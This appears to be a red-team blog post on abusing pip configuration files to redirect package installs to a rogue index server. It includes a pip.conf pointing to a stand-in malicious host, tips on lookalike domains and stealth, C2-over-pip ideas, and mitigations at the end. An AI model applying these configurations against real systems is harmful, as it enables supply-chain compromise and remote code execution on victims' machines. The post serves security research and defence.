In the world of Python development, pip is an indispensable tool for managing packages and dependencies. While it simplifies many aspects of package management, there are risks associated with using pip configuration files (pip.conf or pip.ini) that developers and those that manage systems that utilize it should be aware of.

Not pip from Southpark, Pip for python

Much has been said about the dangers lurking in malicious Python packages and the risks posed by command line and environmental variables. But what about the lesser-discussed yet equally critical pip configuration files? We’ll explore the potential for using compromised pip settings to quietly install additional tools post-compromise, turning a seemingly innocuous configuration file into a powerful instrument of attack.

Pip Hierarchy

To understand how pip is utilized within an environment it is important to understand the various methods in which default behavior can be changed. Pip can be used in a variety of ways to set which index server it will communicate with, such as, if pip will cache responses as well as if it will require a virtual environment and more.  

These methods can be broken down into three groups:

  • Command line variables
  • Environmental variables
  • Configuration files

The hierarchy in which these groups take precedence are the same order as written above and as demonstrated below.

  • Command line variable: ‘–index-url = foo’ overrides  Environmental variable ‘index-url = foo’
  • Environmental variable: ‘trusted-host = example.com’ overrides a Configuration file with ‘[global] trusted-host = example.com’

Configuration files: Except for command specific settings such as [install], these settings have a hierarchy of their own as detailed below.

Understanding Pip Configuration Files

Pip configuration files allow developers and admins to set default options for pip commands. These settings can include specifying package indexes, setting installation directories, and configuring proxy settings. 

According to pip documentation (https://pip.pypa.io/en/stable/topics/configuration/#config-precedence), the loading order or hierarchy of various configuration files is defined as follows:

  •     Global
  •     User
  •     Site
  •     PIP_CONFIG_FILE, if given (This is per directory of a given Python project)

An example of a configuration file is shown below:

[global]
default-timeout = 60
respect-virtualenv = true
download-cache = /tmp
log-file = /tmp/pip-log.txt

[install]
find-links =
   http://pypi.example.com
   http://pypi2.example.com

Configuration files can be located in various locations. To discover what your system is utilizing in this regard simply type the following ‘pip config -v list’. This will output which global, user and site configuration files that are in use.

Linux Example

pip config files linux

Windows Example

Windows config example

Let’s take a step back to understand what we are dealing with. Within this environment, ‘user’ is the second group of configuration files that are loaded when using the pip command.  However, if a configuration option isn’t defined in ‘global’, the user configuration will take precedence.  

The actual location of configuration files, that pip expects, can be checked by utilizing the command ‘pip config debug’. As shown in the next example, these file locations that pip expects, may not actually exist. This allows a user to create and define settings within them, if restrictions are in place to modify existing pip configuration files.

global pip config file

As shown above, the global configuration file named ‘/etc/pip.conf’ exists with a directive to use a specific ‘extra-index-url’.  This allows the user to set an ‘index-url’ as it has not been defined yet.

Pip Exploitation

So now that we know more about pip hierarchies and how configuration files are constructed, let’s start abusing them. To instruct pip to use a certain index server, trust a host or check for additional packages we can define these within a configuration file.  The following are very useful when attempting to subvert pip as they define which index servers to use, when a user asks for a package.

index-url = https://example.com/simple
extra-index-url = https://example.com/simple
trusted-host = example.com
find-links = https://example.com/packages

It can be useful to prevent pip from using cached packages with the following so that we can inject into packages that have already been installed before, with the following.

no-cache-dir = true

Additionally we can ensure that a virtual environment is not required with the following. This will allow for execution of code on the base system as opposed to being stuck in a Python virtual environment.

require-virtualenv = false

Note: When a user is executing pip after changing their configuration file, the index server that it is communicating with is displayed within the console. This could alert the user that something malicious is happening. As is done in some phishing engagements, purchasing a domain that looks similar to the actual pypi server in use could prove beneficial.

Oneliner Examples

The ability to execute code within a setup.py file in Python packages is well documented however we will show how it can be utilized within a configuration file. Through pip, we can execute an agent, tool, or other malicious package with the following:

Linux Example

Linux oneliner example

Windows Example

Windows oneliner example

So from the Windows and Linux examples above, we are doing a few things:

  • Setting an index url 
  • Setting no-cache-dir to true
  • Setting require-virtualenv to false
  • After which we install the defined package from our pypi server. (which is just a loader for a c2 agent)

This also has the benefit from a Red Team perspective over using command line variables, as it does not reveal the index server within process exploration, except when initially changing the configuration file.

Rogue Pypi

So what happens when a user’s configuration file is changed by a malicious actor to point to a rogue index server?  To test this, Osec developed a tool called Pypigeon that allows an attacker to inject Python code into the requested package as well as to host tooling that could prove useful during a Red team engagement.

For this example, we start by injecting our rogue index server into ‘/home/user/.config/pip/pip.conf’ after we have determined that this configuration file location will alter pips command line usage. This can be done with a oneliner as shown within the Linux or Windows examples above. No matter which way that this is accomplished, we want the configuration file to point to our rogue index server as shown below.

[global]
index-url = https://expectbadness.somemaliciousurl.com:7979/simple/
no-cache-dir = true
require-virtualenv = false

After making the necessary config changes to the pip.conf or pip.ini, we can spin up our rogue index server with a command line option to inject a simple Python print statement within the requested package.

rogue index server

Now, anytime the victim user attempts to install a package, our rogue index server will also inject code. Note that the ‘-ua’ option was selected so that we can see the pip user agent. An interesting note is that the User-Agent supplied by a user’s pip request to an index server gives a lot of information about its environment.  One could say it is a built-in C2 beacon callback. Additionally, we have set the rogue pypi server to show the requesting user’s IP address, we have changed this to 0.0.0.0 for this article.

injected code

From the user’s perspective, this is not noticeable, except for the communications with the rogue index server.  In practice, on the user/victim side, nothing would look amiss while using pip how most typical users would use it. However, you could see the output if the verbose, “-v”, flag was used during execution.

verbose pip execution

Additional research:

If you want to go further down the rabbit hole and explore more on how pip’s configuration can be abused in interesting ways, these additional ideas and functions could be fun to play with:

 

  • Pip configuration files can be modified per command section, such as [install] or [freeze].
    • https://pip.pypa.io/en/stable/topics/configuration/#per-command-section
  • Can ensurepip() be useful to perform the methods described above?  
  • How can we use the PIP_CONFIG_FILE environmental variable?
    • https://pip.pypa.io/en/stable/topics/configuration/#pip-config-file
  • Imagine a c2 agent that requests a random package every so often through pip.  When the operator wants to send a command, the package becomes available to install, the pip agent installs it, then uninstalls once the evil deeds are finished.
  • Pip allows you to set a log or cache file location, how could this be utilized for nefarious purposes?

Conclusion

Instead of coaxing a victim to install a malicious package that has been snuck into a pypi server, a malicious actor can create a man in the middle situation by altering pip configuration files.  These types of security risks to supply chain security can be introduced through phishing, social engineering or if an initial vulnerability exists that allows for remote code execution.  The methods described within this article could undeniably be used for persistence, by utilizing pip as a stager for more advanced backdoors and C2 agents.

Restricting access to configuration files or making configuration files read only can alleviate part of the issue.  Another method that has been used is to create a wrapper or proxy for pip that would enforce certain constraints, such as disallowing specific environment variables or options, while disabling direct access to pip itself. However, as detailed, there are many ways that Pip can be used to execute remote code, as such limiting its use in production environments should be encouraged. For systems that require the usage of pip, ensure that it can only connect to approved index servers.

Securing Pip is tricky business, there are environmental and command line variables as well as various configuration file issues to contend with. Even if ‘index-url’ is set in a global configuration context, a malicious actor can still utilize Pip to ingress malicious packages with ‘extra-index-url’ or ‘find-links’. Reviewing how your organization accesses 3rd party packages through pip or other connection gateways should be a priority.